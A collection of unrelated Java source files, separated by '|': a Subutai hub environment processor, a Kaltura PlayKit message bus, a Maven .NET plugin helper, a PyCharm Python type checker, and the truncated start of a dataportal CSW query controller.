import io.subutai.core.hubmanager.impl.HubEnvironmentManager;
import io.subutai.core.peer.api.PeerManager;
import io.subutai.hub.share.dto.environment.EnvironmentNodesDto;
import io.subutai.hub.share.dto.environment.EnvironmentPeerDto;
import io.subutai.hub.share.json.JsonUtil;
public class HubEnvironmentProccessor implements StateLinkProccessor
{
private static final Logger LOG = LoggerFactory.getLogger( HubEnvironmentProccessor.class.getName() );
private static final Pattern ENVIRONMENT_DATA_PATTERN =
Pattern.compile( "/rest/v1/environments/([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})" );
private ConfigManager configManager;
private PeerManager peerManager;
private HubEnvironmentManager hubEnvironmentManager;
public HubEnvironmentProccessor( final HubEnvironmentManager hubEnvironmentManager,
final ConfigManager hConfigManager, final PeerManager peerManager )
{
this.configManager = hConfigManager;
this.peerManager = peerManager;
this.hubEnvironmentManager = hubEnvironmentManager;
}
@Override
public void proccessStateLinks( final Set<String> stateLinks ) throws HubPluginException
{
for ( String link : stateLinks )
{
// Environment Data GET /rest/v1/environments/{environment-id}
Matcher environmentDataMatcher = ENVIRONMENT_DATA_PATTERN.matcher( link );
if ( environmentDataMatcher.matches() )
{
EnvironmentPeerDto envPeerDto = getEnvPeerDto( link );
environmentBuildProcess( envPeerDto );
}
}
}
private EnvironmentPeerDto getEnvPeerDto( String link ) throws HubPluginException
{
try
{
WebClient client = configManager.getTrustedWebClientWithAuth( link, configManager.getHubIp() );
LOG.debug( "Getting Environment peer data from Hub..." );
Response r = client.get();
byte[] encryptedContent = configManager.readContent( r );
byte[] plainContent = configManager.getMessenger().consume( encryptedContent );
EnvironmentPeerDto result = JsonUtil.fromCbor( plainContent, EnvironmentPeerDto.class );
LOG.debug( "EnvironmentPeerDto: " + result.toString() );
return result;
}
catch ( UnrecoverableKeyException | NoSuchAlgorithmException | KeyStoreException | PGPException | IOException
e )
{
throw new HubPluginException( "Could not retrieve environment peer data", e );
}
}
private void environmentBuildProcess( final EnvironmentPeerDto peerDto )
{
try
{
switch ( peerDto.getState() )
{
case EXCHANGE_INFO:
infoExchange( peerDto );
break;
case BUILD_CONTAINER:
buildContainers( peerDto );
break;
}
}
catch ( Exception e )
{
LOG.error( e.getMessage() );
}
}
private void infoExchange( final EnvironmentPeerDto peerDto )
{
String exchangeURL =
String.format( "/rest/v1/environments/%s/exchange-info", peerDto.getEnvironmentInfo().getId() );
EnvironmentId environmentId = new EnvironmentId( peerDto.getEnvironmentInfo().getId() );
try
{
WebClient client = configManager.getTrustedWebClientWithAuth( exchangeURL, configManager.getHubIp() );
LOG.debug( "env_via_hub: Collecting reserved VNIs..." );
peerDto.setVnis( hubEnvironmentManager.getReservedVnis() );
LOG.debug( "env_via_hub: Collecting used IPs..." );
peerDto.setUsedIPs( hubEnvironmentManager.getTunnelNetworks() );
LOG.debug( "env_via_hub: Collecting reserved gateways..." );
peerDto.setGateways( hubEnvironmentManager.getReservedGateways() );
LOG.debug( "env_via_hub: Generating PEK..." );
peerDto.setPublicKey( hubEnvironmentManager.createPeerEnvironmentKeyPair( environmentId ) );
byte[] cborData = JsonUtil.toCbor( peerDto );
byte[] encryptedData = configManager.getMessenger().produce( cborData );
Response r = client.post( encryptedData );
if ( r.getStatus() == HttpStatus.SC_OK )
{
LOG.debug( "Collected data successfully sent to Hub" );
byte[] encryptedContent = configManager.readContent( r );
byte[] plainContent = configManager.getMessenger().consume( encryptedContent );
EnvironmentPeerDto buildDtoResponse = JsonUtil.fromCbor( plainContent, EnvironmentPeerDto.class );
PGPPublicKeyRing signedKey = PGPKeyUtil.readPublicKeyRing( buildDtoResponse.getPublicKey().getKey() );
peerManager.getLocalPeer().updatePeerEnvironmentPubKey( environmentId, signedKey );
}
}
catch ( UnrecoverableKeyException | NoSuchAlgorithmException | KeyStoreException | PGPException | IOException
e )
{
LOG.error( "Could not send collected data to Hub.", e.getMessage() );
}
catch ( PeerException e )
{
LOG.error( "Could not save signed key.", e.getMessage() );
}
}
private void buildContainers( EnvironmentPeerDto peerDto )
{
String containerDataURL = String.format( "/rest/v1/environments/%s/container-build-workflow",
peerDto.getEnvironmentInfo().getId() );
try
{
LOG.debug( "env_via_hub: Setup VNI..." );
hubEnvironmentManager.setupVNI( peerDto );
LOG.debug( "env_via_hub: Setup P2P..." );
peerDto = hubEnvironmentManager.setupP2P( peerDto );
updateEnvironmentPeerData( peerDto );
WebClient client = configManager.getTrustedWebClientWithAuth( containerDataURL, configManager.getHubIp() );
Response r = client.get();
byte[] encryptedContent = configManager.readContent( r );
byte[] plainContent = configManager.getMessenger().consume( encryptedContent );
EnvironmentNodesDto envNodes = JsonUtil.fromCbor( plainContent, EnvironmentNodesDto.class );
LOG.debug( "env_via_hub: Prepare templates..." );
hubEnvironmentManager.prepareTemplates( peerDto, envNodes );
LOG.debug( "env_via_hub: Clone containers..." );
EnvironmentNodesDto updatedNodes = hubEnvironmentManager.cloneContainers( peerDto, envNodes );
byte[] cborData = JsonUtil.toCbor( updatedNodes );
byte[] encryptedData = configManager.getMessenger().produce( cborData );
Response response = client.put( encryptedData );
if ( response.getStatus() == HttpStatus.SC_NO_CONTENT )
{
LOG.debug( "env_via_hub: Environment successfully build!!!" );
}
}
catch ( UnrecoverableKeyException | NoSuchAlgorithmException | KeyStoreException | PGPException | IOException
e )
{
LOG.error( "Could not get container creation data from Hub.", e.getMessage() );
}
}
private void updateEnvironmentPeerData( EnvironmentPeerDto peerDto )
{
try
{
String envPeerDataUrl = String.format( "/rest/v1/environments/%s", peerDto.getEnvironmentInfo().getId() );
WebClient client = configManager.getTrustedWebClientWithAuth( envPeerDataUrl, configManager.getHubIp() );
byte[] cborData = JsonUtil.toCbor( peerDto );
byte[] encryptedData = configManager.getMessenger().produce( cborData );
Response r = client.post( encryptedData );
if ( r.getStatus() == HttpStatus.SC_OK )
{
LOG.debug( "Environment peer data successfully sent to hub" );
}
}
catch ( Exception e )
{
LOG.error( "Could not sent environment peer data to hub.", e.getMessage() );
}
}
}
|
package com.kaltura.playkit;
import android.os.Handler;
import android.os.Looper;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
@SuppressWarnings("WeakerAccess")
public class MessageBus {
private Handler postHandler = new Handler(Looper.getMainLooper());
private Map<Object, Set<PKEvent.Listener>> listeners;
public MessageBus() {
listeners = new HashMap<>();
}
public void post(final PKEvent event) {
final Set<PKEvent.Listener> listeners = this.listeners.get(event.eventType());
if (listeners != null) {
postHandler.post(new Runnable() {
@Override
public void run() {
for (PKEvent.Listener listener : listeners) {
listener.onEvent(event);
}
}
});
}
}
public void remove(PKEvent.Listener listener, Enum... eventTypes){
for (Enum eventType : eventTypes) {
Set<PKEvent.Listener> listenerSet = listeners.get(eventType);
if (listenerSet != null) {
listenerSet.remove(listener);
}
}
}
public void listen(PKEvent.Listener listener, Enum... eventTypes) {
for (Enum eventType : eventTypes) {
Set<PKEvent.Listener> listenerSet = listeners.get(eventType);
if (listenerSet == null) {
listenerSet = new HashSet<>();
listenerSet.add(listener);
listeners.put(eventType, listenerSet);
} else {
listenerSet.add(listener);
}
}
}
}
|
package org.eobjects.build;
import java.io.File;
import java.io.FileFilter;
import java.io.FilenameFilter;
import java.util.Arrays;
import java.util.Collections;
import java.util.Map;
import org.apache.maven.plugin.MojoFailureException;
public final class PluginHelper {
public static final String PROPERTY_BASEDIR = "${project.basedir}";
public static final String PROPERTY_BUILD_DIR = "${project.build.directory}";
public static PluginHelper get(File basedir, Map<String, String> environment, File dotnetPackOutput, boolean skip) {
return new PluginHelper(basedir, environment, dotnetPackOutput, skip);
}
private final File basedir;
private final Map<String, String> environment;
private final boolean skip;
private final File dotnetPackOutput;
private PluginHelper(File basedir, Map<String, String> environment, File dotnetPackOutput, boolean skip) {
this.basedir = basedir;
this.environment = environment == null ? Collections.<String, String> emptyMap() : environment;
this.dotnetPackOutput = dotnetPackOutput == null ? new File("bin") : dotnetPackOutput;
this.skip = skip;
}
public boolean isSkip() {
return skip;
}
private final FileFilter projectJsonDirectoryFilter = new FileFilter() {
public boolean accept(File dir) {
if (dir.isDirectory()) {
if (new File(dir, "project.json").exists()) {
return true;
}
}
return false;
}
};
public File getNugetPackageDir(File subDirectory) {
if (dotnetPackOutput.isAbsolute()) {
return dotnetPackOutput;
}
final File directory = new File(subDirectory, dotnetPackOutput.getPath());
return directory;
}
public File getNugetPackage(File subDirectory) {
final File packageDirectory = getNugetPackageDir(subDirectory);
final File[] nugetPackages = packageDirectory.listFiles(new FilenameFilter() {
public boolean accept(File dir, String name) {
return name.endsWith(".nupkg");
}
});
if (nugetPackages == null || nugetPackages.length == 0) {
throw new IllegalStateException("Could not find NuGet package! ModuleDir=" + subDirectory + ", PackageDir="
+ packageDirectory + ", PackOutput=" + dotnetPackOutput);
}
return nugetPackages[0];
}
public File[] getProjectDirectories() throws MojoFailureException {
return getProjectDirectories(true);
}
public File[] getProjectDirectories(boolean throwExceptionWhenNotFound) throws MojoFailureException {
if (skip) {
return new File[0];
}
final File directory = basedir;
if (projectJsonDirectoryFilter.accept(directory)) {
return new File[] { directory };
}
final File[] directories = directory.listFiles(projectJsonDirectoryFilter);
if (directories == null || directories.length == 0) {
if (throwExceptionWhenNotFound) {
throw new MojoFailureException("Could not find any directories with a 'project.json' file.");
} else {
return new File[0];
}
}
return directories;
}
public void executeCommand(File subDirectory, String command) throws MojoFailureException {
executeCommand(subDirectory, command.split(" "));
}
public void executeCommand(File subDirectory, String... command) throws MojoFailureException {
final ProcessBuilder processBuilder = new ProcessBuilder(command);
processBuilder.directory(subDirectory);
processBuilder.environment().putAll(environment);
processBuilder.inheritIO();
final int exitCode;
try {
final Process process = processBuilder.start();
exitCode = process.waitFor();
} catch (Exception e) {
throw new MojoFailureException("Command (in " + subDirectory + ") " + Arrays.toString(command) + " failed",
e);
}
if (exitCode == 0) {
// success
} else {
throw new MojoFailureException("Command (in " + subDirectory + ") " + Arrays.toString(command)
+ " returned non-zero exit code: " + exitCode);
}
}
public String getBuildConfiguration() {
// hardcoded, but encapsulated for making it dynamic in the future.
return "Release";
}
public boolean isNugetAvailable() {
// This is pretty clunky, but I think the only manageable way to
// determine it.
try {
final int exitCode = new ProcessBuilder("nuget", "help").start().waitFor();
return exitCode == 0;
} catch (Exception e) {
return false;
}
}
}
|
package com.jetbrains.python.psi.types;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiPolyVariantReference;
import com.intellij.psi.PsiReference;
import com.intellij.psi.ResolveResult;
import com.jetbrains.python.PyNames;
import com.jetbrains.python.codeInsight.stdlib.PyStdlibTypeProvider;
import com.jetbrains.python.psi.*;
import com.jetbrains.python.psi.resolve.PyResolveContext;
import com.jetbrains.python.psi.resolve.RatedResolveResult;
import org.jetbrains.annotations.NotNull;
import org.jetbrains.annotations.Nullable;
import java.util.*;
/**
* @author vlan
*/
public class PyTypeChecker {
private PyTypeChecker() {
}
public static boolean match(@Nullable PyType expected, @Nullable PyType actual, @NotNull TypeEvalContext context) {
return match(expected, actual, context, null, true);
}
/**
* Checks whether a type *actual* can be placed where *expected* is expected.
* For example int matches object, while str doesn't match int.
* Work for builtin types, classes, tuples etc.
*
* @param expected expected type
* @param actual type to be matched against expected
* @param context
* @param substitutions
* @return
*/
public static boolean match(@Nullable PyType expected, @Nullable PyType actual, @NotNull TypeEvalContext context,
@Nullable Map<PyGenericType, PyType> substitutions) {
return match(expected, actual, context, substitutions, true);
}
private static boolean match(@Nullable PyType expected, @Nullable PyType actual, @NotNull TypeEvalContext context,
@Nullable Map<PyGenericType, PyType> substitutions, boolean recursive) {
// TODO: subscriptable types?, module types?, etc.
if (expected instanceof PyGenericType && substitutions != null) {
final PyGenericType generic = (PyGenericType)expected;
final PyType subst = substitutions.get(generic);
final PyType bound = generic.getBound();
if (!match(bound, actual, context, substitutions, recursive)) {
return false;
}
else if (subst != null) {
if (expected.equals(actual)) {
return true;
}
else if (recursive) {
return match(subst, actual, context, substitutions, false);
}
else {
return false;
}
}
else if (actual != null) {
substitutions.put(generic, actual);
}
else if (bound != null) {
substitutions.put(generic, bound);
}
return true;
}
if (expected == null || actual == null) {
return true;
}
if (expected instanceof PyClassType) {
final PyClass c = ((PyClassType)expected).getPyClass();
if ("object".equals(c.getName())) {
return true;
}
}
if (isUnknown(actual)) {
return true;
}
if (actual instanceof PyUnionType) {
for (PyType m : ((PyUnionType)actual).getMembers()) {
if (match(expected, m, context, substitutions, recursive)) {
return true;
}
}
return false;
}
if (expected instanceof PyUnionType) {
for (PyType t : ((PyUnionType)expected).getMembers()) {
if (match(t, actual, context, substitutions, recursive)) {
return true;
}
}
return false;
}
if (expected instanceof PyClassType && actual instanceof PyClassType) {
final PyClass superClass = ((PyClassType)expected).getPyClass();
final PyClass subClass = ((PyClassType)actual).getPyClass();
if (expected instanceof PyCollectionType && actual instanceof PyCollectionType) {
if (!matchClasses(superClass, subClass, context)) {
return false;
}
final PyType superElementType = ((PyCollectionType)expected).getElementType(context);
final PyType subElementType = ((PyCollectionType)actual).getElementType(context);
return match(superElementType, subElementType, context, substitutions, recursive);
}
else if (expected instanceof PyTupleType && actual instanceof PyTupleType) {
final PyTupleType superTupleType = (PyTupleType)expected;
final PyTupleType subTupleType = (PyTupleType)actual;
if (superTupleType.getElementCount() != subTupleType.getElementCount()) {
return false;
}
else {
for (int i = 0; i < superTupleType.getElementCount(); i++) {
if (!match(superTupleType.getElementType(i), subTupleType.getElementType(i), context, substitutions, recursive)) {
return false;
}
}
return true;
}
}
else if (matchClasses(superClass, subClass, context)) {
return true;
}
else if (((PyClassType)actual).isDefinition() && PyNames.CALLABLE.equals(expected.getName())) {
return true;
}
if (expected.equals(actual)) {
return true;
}
}
if (actual instanceof PyFunctionType && expected instanceof PyClassType) {
final PyClass superClass = ((PyClassType)expected).getPyClass();
if (PyNames.CALLABLE.equals(superClass.getName())) {
return true;
}
}
if (actual instanceof PyCallableType && expected instanceof PyCallableType) {
final PyCallableType expectedCallable = (PyCallableType)expected;
final PyCallableType actualCallable = (PyCallableType)actual;
if (expectedCallable.isCallable() && actualCallable.isCallable()) {
final List<PyCallableParameter> expectedParameters = expectedCallable.getParameters(context);
final List<PyCallableParameter> actualParameters = actualCallable.getParameters(context);
if (expectedParameters != null && actualParameters != null) {
final int size = Math.min(expectedParameters.size(), actualParameters.size());
for (int i = 0; i < size; i++) {
final PyCallableParameter expectedParam = expectedParameters.get(i);
final PyCallableParameter actualParam = actualParameters.get(i);
// TODO: Check named and star params, not only positional ones
if (!match(expectedParam.getType(context), actualParam.getType(context), context, substitutions, recursive)) {
return false;
}
}
}
if (!match(expectedCallable.getCallType(context, null), actualCallable.getCallType(context, null), context, substitutions,
recursive)) {
return false;
}
return true;
}
}
return matchNumericTypes(expected, actual);
}
private static boolean matchNumericTypes(PyType expected, PyType actual) {
final String superName = expected.getName();
final String subName = actual.getName();
final boolean subIsBool = "bool".equals(subName);
final boolean subIsInt = "int".equals(subName);
final boolean subIsLong = "long".equals(subName);
final boolean subIsFloat = "float".equals(subName);
final boolean subIsComplex = "complex".equals(subName);
if (superName == null || subName == null ||
superName.equals(subName) ||
("int".equals(superName) && subIsBool) ||
(("long".equals(superName) || "Integral".equals(superName)) && (subIsBool || subIsInt)) ||
(("float".equals(superName) || "Real".equals(superName)) && (subIsBool || subIsInt || subIsLong)) ||
(("complex".equals(superName) || "Complex".equals(superName)) && (subIsBool || subIsInt || subIsLong || subIsFloat)) ||
("Number".equals(superName) && (subIsBool || subIsInt || subIsLong || subIsFloat || subIsComplex))) {
return true;
}
return false;
}
public static boolean isUnknown(@Nullable PyType type) {
if (type == null || type instanceof PyGenericType) {
return true;
}
if (type instanceof PyUnionType) {
final PyUnionType union = (PyUnionType)type;
for (PyType t : union.getMembers()) {
if (isUnknown(t)) {
return true;
}
}
}
return false;
}
public static boolean hasGenerics(@Nullable PyType type, @NotNull TypeEvalContext context) {
final Set<PyGenericType> collected = new HashSet<PyGenericType>();
collectGenerics(type, context, collected, new HashSet<PyType>());
return !collected.isEmpty();
}
private static void collectGenerics(@Nullable PyType type, @NotNull TypeEvalContext context, @NotNull Set<PyGenericType> collected,
@NotNull Set<PyType> visited) {
if (visited.contains(type)) {
return;
}
visited.add(type);
if (type instanceof PyGenericType) {
collected.add((PyGenericType)type);
}
else if (type instanceof PyUnionType) {
final PyUnionType union = (PyUnionType)type;
for (PyType t : union.getMembers()) {
collectGenerics(t, context, collected, visited);
}
}
else if (type instanceof PyCollectionType) {
final PyCollectionType collection = (PyCollectionType)type;
collectGenerics(collection.getElementType(context), context, collected, visited);
}
else if (type instanceof PyTupleType) {
final PyTupleType tuple = (PyTupleType)type;
final int n = tuple.getElementCount();
for (int i = 0; i < n; i++) {
collectGenerics(tuple.getElementType(i), context, collected, visited);
}
}
else if (type instanceof PyCallableType) {
final PyCallableType callable = (PyCallableType)type;
final List<PyCallableParameter> parameters = callable.getParameters(context);
if (parameters != null) {
for (PyCallableParameter parameter : parameters) {
if (parameter != null) {
collectGenerics(parameter.getType(context), context, collected, visited);
}
}
}
collectGenerics(callable.getCallType(context, null), context, collected, visited);
}
}
@Nullable
public static PyType substitute(@Nullable PyType type, @NotNull Map<PyGenericType, PyType> substitutions,
@NotNull TypeEvalContext context) {
if (hasGenerics(type, context)) {
if (type instanceof PyGenericType) {
return substitutions.get((PyGenericType)type);
}
else if (type instanceof PyUnionType) {
final PyUnionType union = (PyUnionType)type;
final List<PyType> results = new ArrayList<PyType>();
for (PyType t : union.getMembers()) {
final PyType subst = substitute(t, substitutions, context);
results.add(subst);
}
return PyUnionType.union(results);
}
else if (type instanceof PyCollectionTypeImpl) {
final PyCollectionTypeImpl collection = (PyCollectionTypeImpl)type;
final PyType elem = collection.getElementType(context);
final PyType subst = substitute(elem, substitutions, context);
return new PyCollectionTypeImpl(collection.getPyClass(), collection.isDefinition(), subst);
}
else if (type instanceof PyTupleType) {
final PyTupleType tuple = (PyTupleType)type;
final int n = tuple.getElementCount();
final List<PyType> results = new ArrayList<PyType>();
for (int i = 0; i < n; i++) {
final PyType subst = substitute(tuple.getElementType(i), substitutions, context);
results.add(subst);
}
return new PyTupleType((PyTupleType)type, results.toArray(new PyType[results.size()]));
}
else if (type instanceof PyCallableType) {
final PyCallableType callable = (PyCallableType)type;
List<PyCallableParameter> substParams = null;
final List<PyCallableParameter> parameters = callable.getParameters(context);
if (parameters != null) {
substParams = new ArrayList<PyCallableParameter>();
for (PyCallableParameter parameter : parameters) {
final PyType substType = substitute(parameter.getType(context), substitutions, context);
final PyCallableParameter subst = parameter.getParameter() != null ?
new PyCallableParameterImpl(parameter.getParameter()) :
new PyCallableParameterImpl(parameter.getName(), substType);
substParams.add(subst);
}
}
final PyType substResult = substitute(callable.getCallType(context, null), substitutions, context);
return new PyCallableTypeImpl(substParams, substResult);
}
}
return type;
}
@Nullable
public static Map<PyGenericType, PyType> unifyGenericCall(@NotNull PyFunction function,
@Nullable PyExpression receiver,
@NotNull Map<PyExpression, PyNamedParameter> arguments,
@NotNull TypeEvalContext context) {
final Map<PyGenericType, PyType> substitutions = collectCallGenerics(function, receiver, context);
for (Map.Entry<PyExpression, PyNamedParameter> entry : arguments.entrySet()) {
final PyNamedParameter p = entry.getValue();
if (p.isPositionalContainer() || p.isKeywordContainer()) {
continue;
}
final PyType argType = context.getType(entry.getKey());
final PyType paramType = context.getType(p);
if (!match(paramType, argType, context, substitutions)) {
return null;
}
}
return substitutions;
}
@NotNull
public static Map<PyGenericType, PyType> collectCallGenerics(@NotNull Callable callable, @Nullable PyExpression receiver,
@NotNull TypeEvalContext context) {
final Map<PyGenericType, PyType> substitutions = new LinkedHashMap<PyGenericType, PyType>();
// Collect generic params of object type
final Set<PyGenericType> generics = new LinkedHashSet<PyGenericType>();
final PyType qualifierType = receiver != null ? context.getType(receiver) : null;
collectGenerics(qualifierType, context, generics, new HashSet<PyType>());
for (PyGenericType t : generics) {
substitutions.put(t, t);
}
final PyClass cls = (callable instanceof PyFunction) ? ((PyFunction)callable).getContainingClass() : null;
if (cls != null) {
final PyFunction init = cls.findInitOrNew(true);
// Unify generics in constructor
if (init != null) {
final PyType initType = init.getReturnType(context, null);
if (initType != null) {
match(initType, qualifierType, context, substitutions);
}
}
else {
// Unify generics in stdlib pseudo-constructor
final PyStdlibTypeProvider stdlib = PyStdlibTypeProvider.getInstance();
if (stdlib != null) {
final PyType initType = stdlib.getConstructorType(cls, context);
if (initType != null) {
match(initType, qualifierType, context, substitutions);
}
}
}
}
return substitutions;
}
private static boolean matchClasses(@Nullable PyClass superClass, @Nullable PyClass subClass, @NotNull TypeEvalContext context) {
if (superClass == null || subClass == null || subClass.isSubclass(superClass) || PyABCUtil.isSubclass(subClass, superClass)) {
return true;
}
else if (PyUtil.hasUnresolvedAncestors(subClass, context)) {
return true;
}
else {
final String superName = superClass.getName();
return superName != null && superName.equals(subClass.getName());
}
}
@Nullable
public static AnalyzeCallResults analyzeCall(@NotNull PyCallExpression call, @NotNull TypeEvalContext context) {
final PyExpression callee = call.getCallee();
if (callee instanceof PyQualifiedExpression) {
final PyQualifiedExpression qualified = (PyQualifiedExpression)callee;
if (isResolvedToSeveralMethods(qualified, context)) {
return null;
}
}
final PyArgumentList args = call.getArgumentList();
if (args != null) {
final CallArgumentsMapping mapping = args.analyzeCall(PyResolveContext.noImplicits().withTypeEvalContext(context));
final Map<PyExpression, PyNamedParameter> arguments = mapping.getPlainMappedParams();
final PyCallExpression.PyMarkedCallee markedCallee = mapping.getMarkedCallee();
if (markedCallee != null) {
final Callable callable = markedCallee.getCallable();
if (callable instanceof PyFunction) {
final PyFunction function = (PyFunction)callable;
final PyExpression receiver;
if (function.getModifier() == PyFunction.Modifier.STATICMETHOD) {
receiver = null;
}
else if (callee instanceof PyQualifiedExpression) {
receiver = ((PyQualifiedExpression)callee).getQualifier();
}
else {
receiver = null;
}
return new AnalyzeCallResults(callable, receiver, arguments);
}
}
}
return null;
}
@Nullable
public static AnalyzeCallResults analyzeCall(@NotNull PyBinaryExpression expr, @NotNull TypeEvalContext context) {
final PsiPolyVariantReference ref = expr.getReference(PyResolveContext.noImplicits().withTypeEvalContext(context));
final ResolveResult[] resolveResult;
if (ref != null) {
resolveResult = ref.multiResolve(false);
AnalyzeCallResults firstResults = null;
for (ResolveResult result : resolveResult) {
final PsiElement resolved = result.getElement();
if (resolved instanceof PyTypedElement) {
final PyTypedElement typedElement = (PyTypedElement)resolved;
final PyType type = context.getType(typedElement);
if (!(type instanceof PyFunctionType)) {
return null;
}
final Callable callable = ((PyFunctionType)type).getCallable();
final boolean isRight = PyNames.isRightOperatorName(typedElement.getName());
final PyExpression arg = isRight ? expr.getLeftExpression() : expr.getRightExpression();
final PyExpression receiver = isRight ? expr.getRightExpression() : expr.getLeftExpression();
final PyParameter[] parameters = callable.getParameterList().getParameters();
if (parameters.length >= 2) {
final PyNamedParameter param = parameters[1].getAsNamed();
if (arg != null && param != null) {
final Map<PyExpression, PyNamedParameter> arguments = new LinkedHashMap<PyExpression, PyNamedParameter>();
arguments.put(arg, param);
final AnalyzeCallResults results = new AnalyzeCallResults(callable, receiver, arguments);
if (firstResults == null) {
firstResults = results;
}
if (match(context.getType(param), context.getType(arg), context)) {
return results;
}
}
}
}
}
if (firstResults != null) {
return firstResults;
}
}
return null;
}
@Nullable
public static AnalyzeCallResults analyzeCall(@NotNull PySubscriptionExpression expr, @NotNull TypeEvalContext context) {
final PsiReference ref = expr.getReference(PyResolveContext.noImplicits().withTypeEvalContext(context));
final PsiElement resolved;
if (ref != null) {
resolved = ref.resolve();
if (resolved instanceof PyTypedElement) {
final PyType type = context.getType((PyTypedElement)resolved);
if (type instanceof PyFunctionType) {
final Callable callable = ((PyFunctionType)type).getCallable();
final PyParameter[] parameters = callable.getParameterList().getParameters();
if (parameters.length == 2) {
final PyNamedParameter param = parameters[1].getAsNamed();
if (param != null) {
final Map<PyExpression, PyNamedParameter> arguments = new LinkedHashMap<PyExpression, PyNamedParameter>();
final PyExpression arg = expr.getIndexExpression();
if (arg != null) {
arguments.put(arg, param);
return new AnalyzeCallResults(callable, expr.getOperand(), arguments);
}
}
}
}
}
}
return null;
}
@Nullable
public static AnalyzeCallResults analyzeCallSite(@Nullable PyQualifiedExpression callSite, @NotNull TypeEvalContext context) {
if (callSite == null) {
return null;
}
PsiElement parent = callSite.getParent();
while (parent instanceof PyParenthesizedExpression) {
parent = ((PyParenthesizedExpression)parent).getContainedExpression();
}
if (parent instanceof PyCallExpression) {
return analyzeCall((PyCallExpression)parent, context);
}
else if (callSite instanceof PyBinaryExpression) {
return analyzeCall((PyBinaryExpression)callSite, context);
}
else if (callSite instanceof PySubscriptionExpression) {
return analyzeCall((PySubscriptionExpression)callSite, context);
}
return null;
}
@Nullable
public static Boolean isCallable(@Nullable PyType type) {
if (type == null) {
return null;
}
else if (type instanceof PyUnionType) {
Boolean result = true;
for (PyType member : ((PyUnionType)type).getMembers()) {
final Boolean callable = isCallable(member);
if (callable == null) {
return null;
}
else if (!callable) {
result = false;
}
}
return result;
}
else if (type instanceof PyCallableType) {
return ((PyCallableType) type).isCallable();
}
return false;
}
/**
* Hack for skipping type checking for method calls of union members if there are several call alternatives.
*
* TODO: Multi-resolve callees when analysing calls. This requires multi-resolving in followAssignmentsChain.
*/
public static boolean isResolvedToSeveralMethods(@NotNull PyQualifiedExpression callee, @NotNull TypeEvalContext context) {
final PyExpression qualifier = callee.getQualifier();
if (qualifier != null) {
final PyType qualifierType = context.getType(qualifier);
if (qualifierType instanceof PyUnionType) {
final PyUnionType unionType = (PyUnionType)qualifierType;
final String name = callee.getName();
if (name == null) {
return false;
}
int sameNameCount = 0;
for (PyType member : unionType.getMembers()) {
if (member != null) {
final PyResolveContext resolveContext = PyResolveContext.noImplicits().withTypeEvalContext(context);
final List<? extends RatedResolveResult> results = member.resolveMember(name, callee, AccessDirection.READ, resolveContext
);
if (results != null && !results.isEmpty()) {
sameNameCount++;
}
}
}
if (sameNameCount > 1) {
return true;
}
}
final PyExpression qualifierExpr = qualifier instanceof PyCallExpression ? ((PyCallExpression)qualifier).getCallee() : qualifier;
if (qualifierExpr instanceof PyQualifiedExpression) {
return isResolvedToSeveralMethods((PyQualifiedExpression)qualifierExpr, context);
}
}
return false;
}
public static class AnalyzeCallResults {
@NotNull private final Callable myCallable;
@Nullable private final PyExpression myReceiver;
@NotNull private final Map<PyExpression, PyNamedParameter> myArguments;
public AnalyzeCallResults(@NotNull Callable callable, @Nullable PyExpression receiver,
@NotNull Map<PyExpression, PyNamedParameter> arguments) {
myCallable = callable;
myReceiver = receiver;
myArguments = arguments;
}
@NotNull
public Callable getCallable() {
return myCallable;
}
@Nullable
public PyExpression getReceiver() {
return myReceiver;
}
@NotNull
public Map<PyExpression, PyNamedParameter> getArguments() {
return myArguments;
}
}
}
|
package org.dataportal;
import java.io.IOException;
import java.io.InputStream;
import java.io.StringWriter;
import java.net.MalformedURLException;
import java.util.ArrayList;
import java.util.Map;
import javax.xml.stream.XMLStreamException;
import javax.xml.transform.Source;
import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import org.apache.log4j.Logger;
import org.dataportal.controllers.JPADownloadController;
import org.dataportal.csw.Catalog;
import org.dataportal.csw.Filter;
import org.dataportal.csw.GetRecordById;
import org.dataportal.csw.GetRecords;
import org.dataportal.csw.Operator;
import org.dataportal.csw.Property;
import org.dataportal.csw.SortBy;
import org.dataportal.model.Download;
import org.dataportal.model.DownloadItem;
import org.dataportal.utils.BBox;
import org.dataportal.utils.DataPortalException;
import org.dataportal.utils.Utils;
/**
* Controller manage client petitions to server and manage responses from server
* too. Use Xpath to extract information from XML request and responses and XSLT
* to transform this to client
*
* @author Micho Garcia
*
*/
public class QueryController extends DataPortalController {
private static Logger logger = Logger.getLogger(QueryController.class);
private static final int FIRST = 0;
/**
* Constructor. Assign URL catalog server
*
* @throws MalformedURLException
*/
public QueryController() throws MalformedURLException {
super();
}
/**
* Receive the params from the client request and communicates these to
* CSWCatalog
*
* @param parametros
* @return
* @throws Exception
*/
public String ask2gn(Map<String, String[]> parametros) throws Exception {
InputStream isCswResponse = null;
String response = "";
if (parametros.get("id") != null) {
String ddi = parametros.get("id")[FIRST];
response = getItemsDDI(ddi);
} else {
String aCSWQuery = params2Query(parametros);
isCswResponse = catalogo.sendCatalogRequest(aCSWQuery);
response = transform(isCswResponse);
isCswResponse.close();
logger.debug("RESPONSE2CLIENT: " + response);
}
return response;
}
private String getItemsDDI(String ddi) throws Exception {
Download download = new Download(ddi);
downloadJPAController = new JPADownloadController();
ArrayList<DownloadItem> items = downloadJPAController
.getDownloadItems(download);
if (items.size() == 0) {
dtException = new DataPortalException("DDI not found or not items");
dtException.setCode(DDINOTFOUND);
throw dtException;
}
ArrayList<String> isItems = new ArrayList<String>();
for (DownloadItem item : items) {
isItems.add(item.getItemId());
}
GetRecordById getRecordById = new GetRecordById(GetRecordById.BRIEF);
getRecordById.setOutputSchema("csw:IsoRecord");
String cswQuery = getRecordById.createQuery(isItems);
InputStream catalogResponse = catalogo.sendCatalogRequest(cswQuery);
// TODO crear plantilla para respuesta GetRecordsById - modificar
// respuesta server
String strCatalogResponse = transform(catalogResponse);
logger.debug("GetRecordsById RESPONSE: " + strCatalogResponse);
return strCatalogResponse;
}
/**
* Transform the response from CSW Catalog into client response
*
* @param isCswResponse
* @return String
* @throws TransformerException
* @throws IOException
* @throws DataPortalException
*/
private String transform(InputStream isCswResponse)
throws TransformerException, IOException {
StringWriter writer2Client = new StringWriter();
